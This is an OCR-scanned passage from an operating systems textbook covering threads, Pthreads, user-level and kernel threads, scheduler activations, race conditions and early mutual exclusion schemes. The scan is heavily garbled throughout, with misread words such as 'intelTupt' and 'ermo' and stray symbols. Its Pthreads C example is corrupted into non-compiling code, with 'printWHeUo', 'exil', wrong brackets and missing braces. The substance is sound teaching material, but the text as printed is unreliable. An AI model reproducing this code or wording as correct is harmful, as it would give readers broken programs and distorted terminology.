ic) thread has exited. In this regard, thread creation and termination is very much 
like process creation and termination, with approximately the same options as 
well. 

Another common thread call is thread_yield, which allows a thread to volun
tarily give up the CPU to let another thread run. Such a call is important because 
there is no clock intelTupt to actually enforce multiprogramming as there is with 
processes. Thus it is important for threads to be polite and voluntarily surrender 
the CPU from time to time to give other threads a chance to ruo. Other calls allow 
one thread to wait for another thread to finish some work, for a thread to announce 
that it has finished some work, and so 00. 

While threads are often useful, they also introduce a oumber of complications 
into the programming model. To start with, consider the effects of the UNIX fork 
system call. If the parent process has multiple threads, should the child also have 
them? If not, the process may not function properly, since all of them may be 
essentiaL 

However, if the child process gets as many threads as the parent, what hap
pens if a thread in the parent was blocked on a read call, say, from the keyboard? 
Are two threads now blocked on the keyboard, one in the parent and one in the 
child? When a line is typed, do both threads get a copy of it? Only the parent? 
Only the child? The same problem exists with open network connections. 

Another class of problems is related to the fact that threads share many data 
structures. What happens if one thread closes a file while another one is still read
ing from it? Suppose that one thread notices that there is too little memory and 
starts allocating more memory. Partway through, a thread switch occurs, and the 
new thread also notices that there is too little memory and also starts allocating 
more memory. Memory will probably be allocated twice. These problems can be 
solved with some effort, but careful thought and design are needed to make mul
tithreaded programs work correctly. 

2.2.3 POSIX Threads 

To make it possible to write portable threaded programs, IEEE has defined a 
standard for threads in IEEE standard 1003.1c. The threads package it defines is 
called Pthreads. Most UNIX systems support it. The standard defines over 60 
function calls, which is far too many to go over here. Instead we will just de
scribe a few of the major ones to give an idea of how it works. The calls we will 
describe are listed in Fig. 2-14. 

All Pthreads threads have certain properties. Each one has an identifier, a set 
of registers (including the program counter), and a set of attributes, which are 
stored in a structure. The attributes include the stack size, scheduling parameters, 
and other items needed to use the thread. 
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Thread call Description 
Pthread_create Create a new thread 
Pthread_exit Terminate the calling thread 
Plhread_join Wail for a specific thread to exit 
Pthread yield Release the CPU to let another thread run 
Pthread attr init Create and initialize a thread's attribute structure 
Pthread_attr destroy Remove a thread's attribute structure 

Figure 2�14. Some of the Pthreads function calls. 

A new thread is created using the pthread_create call. The thread identifier of 
the newly created thread is returned as the function value. This call is intention
ally very much like the fork system call, with the thread identifier playino the role 
of the PIO, mostly for identifying threads referenced in other calls. 

t> 

.
When a thread has finished the work it has been assigned, it can tenninate by 

caUmg pthread_exit. This call stops the thread and releases its stack. 
Often a thread needs to wait for another thread to finish its work and exit be

fore continuing. The thread that is waiting calls pthread_join to wait for a specific 
other thread to tenninate. The thread identifier of the thread to wait for is given as 
a parameter. 

Sometimes it happens that a thread is not 10gically blocked, but feels that it 
has run long enough and wants to give another thread a chance to run. It can 
accomplish this goal by calling pthread_yield. There is no such call for processes 
because the assumption there is that processes are fiercely competitive and each 
one ,,:ants all the CPU tin:e it can get. However, since the threads of a process are 
worki?g together and theIr code is invariably written by the same programmer, 
sometImes the programmer wants them to give each other upa chance. 

The next two thread calls de?J with attributes. Pthread_attr _init creates the 
attribute structure aSSociated with a thread and initializes it to the default values. 
Th:se values (such as the priority) can be changed by manipulating fields in the 
attnbute structure . 

. 
Finally, pthread_attr _destroy removes a thread's attribute structure, freeing 

up Its memory. It does not affect threads using it; they continue to exist. 
To get a better feel for how Pthreads works, consider the simple example of 

Fig. 2-15. Here the main program loops NUMBER_OF_THREADS times, creat
ing a new thread on each iteration, after announcing its intention. If the thread 
creation fails, it prints an error message and then exits . After creating all the 
threads, the main program exits. 

. 
�hen a thread is created, it prints a one-line message announcing itself, then 

It exits. The order in which the various messages are interleaved is nondetenni
nate and may vary on consecutive runs of the program. 
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#include <pthread.h> 
#include <stdio.h> 
#inc!ude <stdlib.h> 

#define NUMBER_OF _THREADS 1 0  

void *prinl_hello_world(void *tid) 

( 
1* This function prints the thread's identifier and then exits. *1 
printWHeUo World. Greetings from thread %dO, tid); 
pthread_ex"I!(NULL); 

int main(int argc, char *argvO) 

( 
/* The main program creates 10 threads and then exits. */ 

pthread_t threads[NUMBER_OF _THREADS]; 
int status, i; 

for(i=O; i < NUMBER_OF _THREADS; i++) { 
printf("Main here. Creating thread 'YodO, i); . . status = pthread_create(&threads[i], NULL, prinLhello_world, (void *)1); 

if (status != 0) { 
printWOops. plhread_create returned error code %dO, status); 
exil(-1); 

} 
exil(NULL); 

Figure 2�15. An example program using threads. 

The Pthreads calls described above are not the only ones by any meanS; there 
are many more. We will examine some of the others later after we have discussed 
process and thread synchronization. 

2.2.4 Implementing Threads in User Space 

There are two main ways to implement a threads package: in user space and 
in the kerneL The choice is moderately controversial, and a hybrid imple
mentation is also possible. We will now describe these methods, along with their 
advantages and disadvantages. 

The first method is to put the threads package entirely in user space. The ker
nel knows nothing about them. As far as the kernel is concerned, it is managing 
ordinary, single-threaded processes. The first, and most obvious, advantage is that 
a user-level threads package can be implemented on an operating system that does 
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not support threads. All operating systems used to fall into this category, and even 
now some still do. With this approach, threads are implemented by a library. 

All of these implementations have the same general structure, which is illus
trated in Fig. 2-16(a). The threads run on top of a run-time system, which is a col
lection of procedures that manage threads. We have seen four of these already: 
pthread_create, pthread_exit, pthread_join, and pthread_yield, but usually there 
are more. 

User 
space 

Process Thread Process Thread 

(@) � � � @ 
B Kernel 

Run·time Thread Process Process .Thread 
system table table table table 

Figure 2-16. (a) A user-level threads package. (b) A threads package managed 
by the kernel. 

When threads are managed in user space, each process needs its own private 
thread table to keep track of the threads in that process. This table is analogous 
to the kernel's process table, except that it keeps track only of the per-thread prop
erties, such as each thread's program counter, stack pointer, registers, state, and so 
forth. The thread table is managed by the run-time system. When a thread is 
moved to ready state or blocked state, the information needed to restart it is stored 
in the thread table, exactly the same way as the kernel stores information about 
processes in the process table. 

When a thread does something that may cause it to become blocked locally, 
for example, waiting for another thread in its process to complete some work, it 
calls a run-time system procedure. This procedure checks to see if the thread must 
be put into blocked state. If so, it stores the thread's registers (i.e., its own) in the 
thread table, looks in the table for a ready thread to run, and reloads the machine 
registers with the new thread's saved values. As soon as the stack pointer and 
program counter have been switched, the new thread comes to life again automat
ically. If the machine has an instruction to store all the registers and another one 
to load them all, the entire thread switch can be done in just a handful of instruc
tions. Doing thread switching like this is at least an order of magnitude-maybe 
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more-faster than trapping to the kernel and is a strong argument in favor of 
user-level threads packages. 

However, there is one key difference with processes. When a thread is fin
ished running for the moment, for example, when it calls thread_yield, the code 
of thread_yield can save the thread's information in the thread table itself. Fur
thermore, it can then call the thread scheduler to pick another thread to run. The 
procedure that saves the thread's state and the scheduler are just local procedures, 
so invoking them is much more efficient than making a kernel calL Among other 
issues, no trap is needed, no context switch is needed, the memory cache need not 
be flushed, and so on. This makes thread scheduling very fast. 

User�level threads also have other advantages. They allow each process to 
have its own customized scheduling algorithm. For some applications, for exam
ple, those with a garbage collector thread, not having to worry about a thread 
being stopped at an inconvenient moment is a plus. They also scale better, since 
kernel threads invariably require some table space and stack space in the kernel, 
which can be a problem if there are a very large number of threads. 

Despite their better performance, user-level threads packages have some 
major problems. First among these is the problem of how blocking system calls 
are implemented. Suppose that a thread reads from the keyboard before any keys 
have been hit. Letting the thread actually make the system call is unacceptable, 
since this will stop all the threads. One of the main goals of having threads in the 
first place was to allow each one to use blocking calls, but to prevent one blocked 
thread from affecting the others. With blocking system calls, it is hard to see how 
this goal can be achieved readily. 

The system calls could all be changed to be nonblocking (e.g., a read on the 
keyboard would just return 0 bytes if no characters were already buffered), but 
requiring changes to the operating system is unattractive. Besides, one of the arg
uments for user-level threads was precisely that they could run with eXisting oper
ating systems. In addition, changing the semantics of read will require changes to 
many user programs. 

Another alternative is possible in the event that it is possible to tell in advance 
if a call will block. In some versions of UNIX, a system call, select, exists, which 
allows the caller to tell whether a prospective read will block. When this call is 
present, the library procedure read can be replaced with a new one that first does 
a select call and then only does the read call if it is safe (i.e., will not block). If 
the read call will block, the caU is not made. Instead, another thread is run. The 
next time the run-time system gets control, it can check again to see if the read is 
now safe. This approach requires rewriting parts of the system call library, is inef
ficient and inelegant, but there is little choice. The code placed around the system 
call to do the checking is called a jacket or wrapper. 

Somewhat analogous to the problem of blocking system calls is the problem 
of page faults. We will study these in Chap. 3. For the moment, it is sufficient to 
say that computers can be set up in such a way that not all of the program is in 
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main memory at once. If the program calls or jumps to an instruction that is not in 
memory, a page fault occurs and the operating system will go and get the missing 
instruction (and its neighbors) from disk. This is called a page fault. The process 
is blocked while the necessary instruction is being located and read in. If a thread 
causes a page fault, the kernel, not even knowing about the existence of threads, 
naturally blocks the entire process until the disk I/O is complete, even though 
other threads might be runnable. 

Another problem with user-level thread packages is that if a thread starts run
ning, no other thread in that process will ever run unless the first thread volun
tarily gives up the CPU. Within a single process, there are no clock interrupts, 
making it impossible to schedule processes round-robin fashion (taking turns). 
Unless a thread enters the run-time system of its own free will, the scheduler will 
never get a chance. 

One possible solution to the problem of threads running forever is to have the 
run-time system request a clock signal (interrupt) once a second to give it control, 
but this, too, is crude and messy to program. Periodic clock interrupts at a higher 
frequency are not always possible, and even if they are, the total overhead may be 
substantial. Furthennore, a thread might also need a clock interrupt, interfering 
with the run-time system's use of the clock. 

Another, and really the most devastating, argument against user-level threads 
is that programmers generally want threads precisely in applications where the 
threads block often, as, for example, in a multithreaded Web server. These threads 
are constantly making system calls. Once a trap has occurred to the kernel to 
carry out the system call, it is hardly any more work for the kernel to switch 
threads if the old one has blocked, and having the kernel do this eliminates the 
need for constantly making select system calls that check to see if read system 
calls are safe. For applications that are essentially entirely CPU bound and rarely 
block, what is the point of having threads at all? No one would seriously propose 
�omputing the first n prime numbers or playing chess using threads because there 
IS nothing to be gained by doing it that way. 

2.2.5 Implementing Threads in the Kernel 

Now let us consider having the kernel know about and manage the threads. 
No run-time system is needed in each, as shown in Fig. 2-16(b). Also, there is no 
thread table in each process. Instead, the kernel has a thread table that keeps track 
of all the threads in the system. When a thread wants to create a new thread or 
destroy an existing thread, it makes a kernel call, which then does the creation or 
destruction by updating the kernel thread table. 

The kernel's thread table holds each thread's registers, state, and other infor
mation. The infonnation is the same as with user-level threads, but now kept in 
the kernel instead of in user space (inside the run-time system). This information 
is a subset of the information that traditional kernels maintain about their single-
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threaded processes, that - is, the process state. In addition, the kernel also main
tains the traditional process table to keep track of processes. 

All calls that might block a thread are implemented as system calls, at consid
erably greater cost than a call to a run-time system procedure. When a thread 
blocks, the kernel, at its option, can run either another thread from the same proc
ess (if one is ready) or a thread from a different process. With user-level threads, 
the run-time system keeps running threads from its own process until the kernel 
takes the CPU away from it (or there are no ready threads left to run). 

Due to the relatively greater cost of creating and destroying threads in the ker
nel, some systems take an environmentally correct approach and recycle their 
threads. When a thread is destroyed, it is marked as not runnable, but its kernel 
data structures are not otherwise affected. Later, when a new thread must be creat
ed, an old thread is reactivated, saving some overhead. Thread recycling is also 
possible for user-level threads, but since the thread management overhead is much 
smaller, there is less incentive to do this. 

Kernel threads do not require any new, nonblocking system calls. In addition, 
if one thread in a process causes a page fault, the kernel can easily check to see if 
the process has any other runnable threads, and if so, run one of them while wait
ing for the required page to be brought in from the disk. Their main disadvantage 
is that the cost of a system call is substantial, so if thread operations (creation, ter
mination, etc.) are common, much more overhead win be incurred. 

While kernel threads solve some problems, they do not solve all problems. 
For example, what happens when a multithreaded process forks? Does the new 
process have as many threads as the old one did, or does it have just one? In 
many cases, the best choice depends on what the process is planning to do next. If 
it is going to call exec to start a new program, probably one thread is the correct 
choice, but if it continues to execute, reproducing all the threads is probably the 
light thing to do. 

Another issue is signals. Remember that signals are sent to processes, not to 
threads, at least in the classical modeL When a signal comes in, which thread 
should handle it? Possibly threads could register their interest in certain signals, 
so when a Signal came in it would be given to the thread that said it wants it. But 
what happens jf two or more threads register for the same signaL These are only 
two of the problems threads introduce, but there are more. 

2.2.6 Hybrid Implementations 

Various ways have been investigated to try to combine the advantages of 
user-level threads with kernel-level threads. One way is use kernel-level threads 
and then multiplex user-level threads onto some or all of the kernel threads, as 
shown in Fig, 2-17. When this approach is used, the programmer can determine 
how many kernel threads to use and how many user-level threads to multiplex on 
each one. This model gives the ultimate in flexibility. 

I I 
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Figure 2-17. Multiplexing user-level threads onto kernel-level threads. 
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With this approach, the kernel is aware of only the kernel-level threads and 
schedules those. Some of those threads may have multiple user-level threads mul
tiplexed on top of them. These user-level threads are created, destroyed, and 
scheduled just like user-level threads in a process that runs On an operating system 
without multithreading capability. In this model, each kernel-level thread has 
some set of user-level threads that take turns using it. 

2.2.7 SCheduler Activations 

While kernel threads are better than user-level threads in some key ways, they 
are also indisputably slower. As a consequence, researchers have looked for ways 
to improve the situation without giving up their good properties. Below we wi11 
describe one such approach devised by Anderson et a1. ( 1992), called scheduler 
activations. Related work is discussed by Edler et a1. ( 1988) and Scott et a1. 
( 1990). 

The goals of the scheduler activation work are to mimic the functionality of 
kernel threads, but with the better perfonnance and greater flexibility usually as
sociated with threads packages implemented in user space, In particular, user 
threads should not have to make special nonblocking system calls or check in ad
vance if it is safe to make certain system calls. Nevertheless, when a thread blocks 
on a system call or on a page fault, it should be possible to run other threads with
in the same process, if any are ready. 

Efficiency is achieved by avoiding unnecessary transitions between user and 
kernel space. If a thread blocks waiting for another thread to do something, for 
example, there is no reason to involve the kernel, thus saving the overhead of the 
kernel-user transition. The user-space run-time system can block the synchroniz
ing thread and schedule a new one by itself. 
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When scheduler activations are used, the kernel assigns a certain number of 
virtual processors to each process and lets the (user-space) run-time system allo
cate threads to processors. This mechanism can also be used on a multiprocessor 
where the viltual processors may be real CPUs. The number of virtual processors 
allocated to a process is initially one, but the process can ask for more and can 
also return processors it no longer needs. The kernel can also take back virtual 
processors already allocated in order to assign them to more needy, processes. 

The basic idea that makes this scheme work is that when the kernel knows 
that a thread has blocked (e.g., by its having executed a blocking system call or 
caused a page fault), the kernel notifies the process' run-time system, passing as 
parameters on the stack the number of the thread in question and a description of 
the event that occurred. The notification happens by having the kernel activate the 
run�tjme system at a known starting address, roughly analogous to a signal in 
UNIX. This mechanism is called an upcall. 

Once activated like this, the run-time system can reschedule its threads, typi
cally by marking the current thread as blocked and taking another thread from the 
ready list, setting up its registers, and restarting it. Later, when the kernel learns 
that the original thread can run again (e.g., the pipe it was trying to read from now 
contains data, or the page it faulted over has been brought in from disk), it makes 
another upcall to the run-time system to inform it of this event. The run-time sys� 
tern, at its own discretion, can either restart the blocked thread immediately or put 
it on the ready list to be run later. 

When a hardware interrupt occurs while a user thread is running, the inter
rupted CPU switches into kernel mode. If the interrupt is caused by an event not 
of interest to the interrupted process, such as completion of another process' I/O, 
when the interrupt handler has finished, it puts the interrupted thread back in the 
state it was in before the interrupt. If, however, the process is interested in the in
terrupt, such as the arrival of a page needed by one of the process' threads, the in
terrupted thread is not restarted. Instead, the interrupted thread is suspended, and 
the run-time system is started on that virtual CPU, with the state of the interrupted 
thread on the stack. It is then up to the run-time system to decide which thread to 
schedule on that CPU: the interrupted one, the newly ready one, or some third 
choice. 

An objection to scheduler activations is the fundamental reliance on upcalls, a 
concept that violates the structure inherent in any layered system. Normally, layer 
11 offers certain services that layer n + 1 can call on, but layer n may not call pro
cedures in layer n + 1 .  UpcaUs do not follow this fundamental principle. 

2.2.8 Pop-Up Threads 

Threads are frequently useful in distributed systems. An important example is 
how incoming messages, for example requests for service, are handled. The tradi� 
tional approach is to have a process or thread that is blocked on a receive system 
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call waiting for an incoming message. When a message arrives, it accepts the 
message, unpacks it, examines the contents, and processes it. 

However, a completely different approach is also possible, in which the 
ani val of a message causes the system to create a new thread to handle the mes
sage. Such a thread is called a pop�up thread and is illustrated in Fig. 2�18. A 
key advantage of pop-up threads is that since they are brand new, they do not have 
any history-registers, stack, whatever-that must be restored. Each one starts out 
fresh and each one is identical to all the others. This makes it possible to create 
such a thread quickly. The new thread is given the incoming message to process. 
The result of using pop-up threads is that the latency between message arrival and 
the start of processing can be made very short. 

Process 
ExiSting thread 

Network 
(a) 

Pop-up thread 
created to handle 
incoming message 

Incoming message 

(b) 

Figure 2-18. Creation of a new thread when a message arrives. (a) Before the 
message arrives. (b) After the message arrives. 

Some advance planning is needed when pop-up threads are used. For ex
ampJe, in which process does the thread run? If the system supports threads run� 
ning in the kernel's  context, the thread may run there (which is why we have not 
shown the kemel in Fig. 2-18). Having the pop�up thread run in kernel space is 
usually easier and faster than putting it in user space. Also, a pop-up thread in ker
nel space can easily access all the kernel's tables and the 1/0 devices, which may 
be needed for interrupt processing. On the other hand, a buggy kernel thread can 
do more damage than a buggy user thread. For example, if it runs too long and 
there is no way to preempt it, incoming data may be lost. 



112 PROCESSES AND THREADS CHAP. 2 

2.2.9 Making Single-Threaded Code Multithreaded 

Many existing programs were written for single�threaded processes. Convert
ing these to multithreading is much trickier than it may at first appear. Below we 
will examine just a few of the pitfalls. 

As a start, the code of a thread nonnally consists of multiple procedures, just 
like a process. These may have local variables, global variables, and parameters. 
Local variables and parameters do not cause any trouble, but variables that are 
global to a thread but not global to the entire program are a problem. These are 
variables that are global in the sense that many procedures within the thread use 
them (as they might use any global variable), but other threads should logically 
leave them alone. 

As an example, consider the ermo variable maintained by UNIX. When a 
process (or a thread) makes a system call that fails, the error code is put into 
ermo. In Fig. 2-19, thread 1 executes the system call access to find out if it has 
permission to access a certain file. The operating system returns the answer in the 
global variable ermo. After control has returned to thread 1, but before it has a 
chance to read ermo, the scheduler decides that thread 1 has had enough CPU 
time for the moment and decides to switch to thread 2. Thread 2 executes an 
open call that fails, which causes erma to be overwritten and thread l '  s access 
code to be lost forever. When thread 1 starts up later, it will read the wrong value 
and behave incorrectly. 

Thread 1 Thread 2 � 
Access (errno sel) 

S I 
Open (erma overwritten) 

5 
Errna inspected 

Figure 2-19. Conflicts between threads over the use of a global variable. 

Various solutions to this problem are possible. One is to prohibit globa1 vari
ables altogether. However worthy this ideal may be, it conflicts with much exist
ing software. Another is to assign each thread its own private global variables, as 
shown in Fig. 2-20. In this way, each thread has its own private copy of erma and 
other global variables, so conflicts are avoided. In effect, this decision creates a 
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new s:o�ing lev�l, variables visible to all the procedures of a thread, in addition to 
the eXIstmg scopmg levels of variables visible only to one procedure and variables 
visible everywhere in the program. 

Thread 1 's 
code 

Thread 2'$ 
code 

Thread 1 's '--.. stack D � Thread 2's 
slack ( Thread 1'$ 
globa!s 

Thread 2's 
globals 

Figure 2-20. Threads can have private global variables. 

Ac�essing the private global variables is a bit tricky, however, since �ost pro
grammmg lan

.
guages �ave a way of expressing local variables and global vari

ables, but not mterme�Iate forms. It is possible to allocate a chunk of memory for 
the 

.
globals and pass It to each procedure in the thread as an extra parameter. 

While hardly an elegant solution, it works. 
Alternatively, new library procedures can be introduced to create set and 

read these thread-wide global variables. The first can might look like thi;: 
' 

create_global("bufptr"); 

It allocates storage for a �ointer called bufptr on the heap or in a special storage 
area reserve� for the callmg thread. No matter where the storage is allocated, 
only the calhng thread has access to the global variable. If another thread creates 
a global variable with the same name, it gets a different storao-e location that does 
not conflict with the existing one. 

I;> 

Two calls
. 
are needed to access global variables: one for writing them and the 

other for readmg them. For writing, something like 

seLglobal("bufptr", &buf); 

will do. It stores the value of a pointer in the storage location previously created 
by the call to create_global. To read a global variable, the call might look like 

bufptr = read_global("bufptr"); 

It returns the address stored in the global variable, so its data can be accessed. 
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The next problem turning a single-threaded program into a multithreaded pro
gram is that many library procedures are not reentrant. That is, they were not de
signed to have a second call made to any given procedure while a previous call 
has not yet finished. For example, sending a message over the network may well 
be programmed to assemble the message in a fixed buffer within the library, then 
to trap to the kernel to send it. What happens if one thread has assembled its mes
sage in the buffer, then a clock interrupt forces a switch to a second thread that 
immediately overwrites the buffer with its own message? 

Similarly, memory allocation procedures, for example malloc in UNIX, main
tain crucial tables about memory usage, for example, a linked list of available 
chunks of memory. While maUoe is busy updating these lists, they may tem
porarily be in an inconsistent state, with pointers that point nowhere. If a thread 
switch occurs while the tables are inconsistent and a new call comes in from a dif
ferent thread, an invalid pointer may be used, leading to a program crash. Fixing 
all these problems effectively means rewriting the entire library. Doing so is a 
nontrivial activity. 

A different solution is to provide each procedure with a jacket that sets a bit to 
mark the library as in lise. Any attempt for another thread to lise a library proce
dure while a previous call has not yet completed is blocked. Although this ap
proach can be made to work, it greatly eliminates potential parallelism. 

Next, consider signals. Some signals are logically thread specific, whereas 
others are not. For example, if a thread caBs a!arm, it makes sense for the re
sulting signal to go to the thread that made the call. However, when threads are 
implemented entirely in user space, the kernel does not even know about threads 
and can hardly direct the signal to the right one. An additional complication oc
curs if a process may only have one alarm pending at a time and several threads 
call alarm independently. 

Other signals, such as keyboard interrupt, are not thread specific. Who should 
catch them? One designated thread? All the threads? A newly created pop-up 
thread? Furthermore, what happens if one thread changes the signal handlers 
without telling other threads? And what happens if one thread wants to catch a 
particular signal (say, the user hitting CTRL-C), and another thread wants this sig
nal to terminate the process? This situation can arise if one or more threads run 
standard library procedures and others are user-written. Clearly, these wishes are 
incompatible . In general, signals are difficult enough to manage in a single
threaded environment. Going to a multithreaded environment does not make them 
any easier to handle. 

One last problem introduced by threads is stack management. In many sys
tems, when a process' stack overflows, the kernel just provides that process with 
more stack automatically. When a process has multiple threads, it must also have 
multiple stacks. If the kernel is not aware of all these stacks, it cannot grow them 
automatically upon stack fault. In fact, it may not even realize that a memory 
fault is related to the growth of some thread's stack. 
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These problems are certainly not insurmountable, but they do show that just 
introducing threads into an existing system without a fairly substantial system 
redesign is not going to work at aIL The semantics of system calls may have to be 
redefined and libraries have to be rewritten, at the very least. And all of these 
things must be done in such a way as to remain backward compatible with exist
ing programs for tq.e limiting case of a process with only one thread. For addi
tional information about threads, see (Hauser et a I .,  1993; and Marsh et al., 1991). 

2.3 INTERPROCESS COMMUNICATION 

Processes frequently need to communicate with other processes. For example, 
in a shell pipeline, the output. of the first process must be passed to the second 
process, and so on down the line. Thus there is a need for communication between 
processes, preferably in a well-structured way not using interrupts. In the follow
ing sections we will look at some of the issues related to this InterProcess Com
munication, or IPC. 

Very briefly, there are three issues here. The first was alluded to above: how 
one process can pass information to another. The second has to do with making 
sure two or more processes do not get in each other's way, for example, two proc
esses in an airline reservation system each trying to grab the last seat on a plane 
for a different customer. The third concerns proper sequenCing when dependen
cies are present: if process A produces data and process B prints them, B has to 
wait until A has produced some data before starting to print. We will examine all 
three of these issues starting in the next section. 

It is also important to mention that two of these issues apply equally well to 
threads. The first one-passing information-is easy for threads since they share a 
common address space (threads in different address spaces that need to communi
cate fall under the heading of communicating processes). However, the other 
two--keeping out of each other's hair and proper sequencing-apply equally well 
to threads. The same problems exist and the same solutions apply. Below we will 
discuss the problem in the context of processes, but please keep in mind that the 
same problems and solutions also apply to threads. 

2.3.1 Race Conditions 

In some operating systems, processes that are working together may share 
some common storage that each one can read and write. The shared storage may 
be in main memory (possibly in a kernel data structure) orit may be a shared file; 
the location of the shared memory does not change the nature of the communica
tion or the problems that arise. To see how interprocess communication works in 
practice, let us consider a simple but common example: a print spooler. When a 
process wants to print a file, it enters the file name in a special spooler directory. 
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Another process, the printer daemon, periodically checks to see if there are any 
files to be printed, and if there are, it prints them and then removes their names 
from the directory. 

Imagine that our spooIer directory has a very large number of slots, numbered 
0, 1, 2, .. " each one capable of holding a file name. Also imagine that there are 
two shared variables, out, which points to the next file to be printed, and in, which 
points to the next free slot in the directory. These two variables might wen be kept 
on a two-word file available to all processes. At a certain instant, slots 0 to 3 are 
empty (the files have already been printed) and slots 4 to 6 are full (with the 
names of files queued for printing), More or less simultaneously, processes A and 
B decide they want to queue a file for printing. This situation is shown in Fig. 2-
21. 
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Figure 2-21. Two processes want to access shared memory at the same time. 

In jurisdictions where Murphy's lawt is applicable, the following could hap
pen. Process A reads in and stores the value, 7, in a local variable called 
nexLfree _slot. Just then a clock interrupt occurs and the CPU decides that proc
ess A has run long enough, so it switches to process B. Process B also reads in, 
and also gets a 7. It too stores it in its local variable next_free_slot. At this 
instant both processes think that the next available slot is 7. 

Process B now continues to run. It stores the name of its file in slot 7 and 
updates in to be an 8. Then it goes off and does other things. 

Eventually, process A runs again, starting from the place it left off. It looks at 
nexLfree_slot, finds a 7 there, and writes its file name in slot 7, erasing the name 
that process B just put there. Then it computes next_free_slot + 1,  which is 8, and 
sets in to 8. The spooler directory is now internally consistent, so the printer dae
mon will not notice anything wrong, but process B will never receive any output. 
t If something can go wrong, it will. 
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User B will hang around the printer room for years, wistfully hoping for output 
that never comes. Situations like this, where two or more processes are reading or 
writing some shared data and the final result depends on who runs precisely when, 
are called race conditions. Debugging programs containing race conditions is no 
fun at all. The results of most test runs are fine, but once in a rare while something 
weird and unexplained happens. 

2.3.2 Critical Regions 

How do we avoid race conditions? The key to preventing trouble here and in 
many other situations involving shared memory, shared files, and shared every
thing else is to find some way to prohibit more than one process from reading and 
writing the shared data at the same time. Put in other words, what we need is 
mutual exclusion, that is, some way of making sure that if one process is using a 
shared variable or file, the other processes will be excluded from doing the same 
thing. The difficulty above occurred because process B started using one of the 
shared variables before process A was finished with it. The choice of appropriate 
primitive operations for achieving mutual exclusion is a major design issue in any 
operating system, and a subject that we will examine in great detail in the follow
ing sections. 

The problem of avoiding race conditions can also be formulated in an abstract 
way. Part of the time, a process is busy doing internal computations and other 
things that do not lead to race conditions. However, sometimes a process has to 
access shared memory or files, or do other critical things that can lead to races. 
That part of the program where the shared memory is accessed is called the criti
cal region or critical section. If we could arrange matters such that no two proc
esses were ever in their critical regions at the same time, we could avoid races. 

Although this requirement avoids race conditions, it is not sufficient for hav
ing parallel processes cooperate correctly and efficiently using shared data. We 
need four conditions to hold to have a good solution: 

1 .  No two processes may be simultaneously inside their critical regions. 

2. No assumptions may be made about speeds or the number of CPUs. 

3. No process running outside its critical region may block other processes. 

4. No process should have to wait forever to enter its critical region. 

In an abstract sense, the behavior that we want is shown in Fig. 2-22. Here 
process A enters its critical region at time T I '  A little later, at time T 2 process B 
attempts to enter its critical region but fails because another process is already in 
its critical region and we allow only one at a time. Consequently, B is temporarily 
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suspended until time T 3 when A leaves its critical region, allowing. � to e�ter �m
mediately. Eventually B leaves (at T4) and we are back to the ongmal sItuatIon 
with no processes in their critical regions. 

Process A 

Process B 

A enters critical region 

I / A leMes e,weal ,e9io" 

I 
J I ! B leaves B attempts to I 8 enters I enter cntlcal cntlcal region critical region 
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T, T, 
B blocked 

T, 

Time )0 

Figure 2-22. Mutua! exclusion using critical regions. 

2.3.3 Mutual Exclusion with Busy Waiting 

In this section we will examine various proposals for achieving mutual exclu
sion, so that while one process is busy updating shared memory in its critical re
gion, no other process will enter its critical region and cause trouble. 

Disabling Interrupts 

On a single-processor system, the simplest solution is to have each process 
disable all interrupts just after entering its critical region and re-enable them just 
before leaving it. With interrupts disabled, no clock interrupts can occur. The 
CPU is only switched from process to process as a result of clock or other inter
ruptS, after all, and with interrupts turned off the CPU will not be switched to an
other process. Thus, once a process has disabled interrupts, it can examine and 
update the shared memory without fear that any other process will intervene. 

This approach is generally unattractive because it is unwise to give user proc
esses the power to turn off interrupts. Suppose that one of them did it, and never 
turned them on again? That could be the end of the system. Furthermore, if the 
system is a multiprocessor (with two or possibly more CPUs) disabling interrupts 
affects only the CPU that executed the disable instruction. The other ones will 
continue running and can access the shared memory. 

I � 
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On the other hand, it is frequently convenient for the kernel itself to disable 
interrupts for a few instructions while it is updating variables or lists. If an inter
rupt occurred while the list of ready processes, for example, was in an inconsistent 
state, race conditions could occur. The conclusion is: disabling interrupts is often 
a useful technique within the operating system itself but is not appropriate as a 
general mutual exclusion mechanism for user processes. 

The possibility of achieving mutual exclusion by disabling interrupts--even 
within the kernel-is becoming less every day due to the increasing number of 
multi core chips even in low-end PCs. Two cores are already common, four are 
present in high-end machines, and eight or 16 are not far behind. In a muIticore 
(Le., multiprocessor system) disabling the interrupts of one CPU does not prevent 
other CPUs from interfering with operations the first CPU is performing. Conse
quently, more sophisticated schemes are needed. 

Lock Variables 

As a second attempt, let us look for a software solution. Consider having a 
single, shared (lock) variable, initially O. When a process wants to enter its criti
cal region, it first tests the lock. If the lock is 0, the process sets it to 1 and enters 
the critical region. If the lock is already 1 ,  the process just waits until it becomes 
O. Thus, a 0 means that no process is in its critical region, and a 1 means that 
some process is in its critical region. 

Unfortunately, this idea contains exactly the same fatal flaw that we saw in 
the spooler directory. Suppose that one process reads the lock and sees that it is O. 
Before it can set the lock to I, another process is scheduled, runs, and sets the lock 
to 1 .  When the first process runs again, it will also set the lock to I ,  and two proc
esses will be in their critical regions at the same time. 

Now you might think that we could get around this problem by first reading 
out the Jock value, then checking it again just before storing into it, but that really 
does not help. The race now occurs if the second process modifies the lock just 
after the first process has finished its second check. 

Strict Alternation 

A third approach to the mutual exclusion problem is shown in Fig. 2-23. This 
program fragment, like nearly all the others in this book, is written in C. C was 
chosen here because real operating systems are virtually aiways written in C (or 
occaSionally C++), but hardly ever in languages like Java, Modula 3, or Pascal. C 
is powerful, efficient, and predictable, characteristics critical for writing operating 
systems. Java, for example, is not predictable because it might run out of storage 
at a critical moment and need to invoke the garbage collector to reclaim memory 
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at a most inopportune time. This cannot happen in C because there is no garbage 
collection in C. A quantitative comparison of C, C++, Java, and four other lan
guages is given in (Prechelt, 2000). 

while (TRUE) { while (TRUE) { 
while (turn 1= 0) /* loop */ ; while (turn != 1) /* loop */ ; 
critical_region( ); critical_region( ); 
turn = 1 ;  turn = 0; 
noncritical_region( ); noncritical_region( ); 

(a) (b) 

Figure 2-23. A proposed solution to the critical region problem. (a) Process O. 
(b) Process L In both cases, be sure to note the semicolons terminating the while 
statements. 

In Fig. 2-23, the integer variable turn, initially 0, keeps track of whose turn it 
is to enter the critical region and examine or update the shared memory. Initially, 
process 0 inspects turn, finds it to be 0, and enters its critical region. Process I 
also finds it to be 0 and therefore sits in a tight loop continually testing turn to see 
when it becomes 1 .  Continuously testing a variable until some value appears is 
called busy waiting. It should usually be avoided, since it wastes CPU time. 
Only when there is a reasonable expectation that the wait will be short is busy 
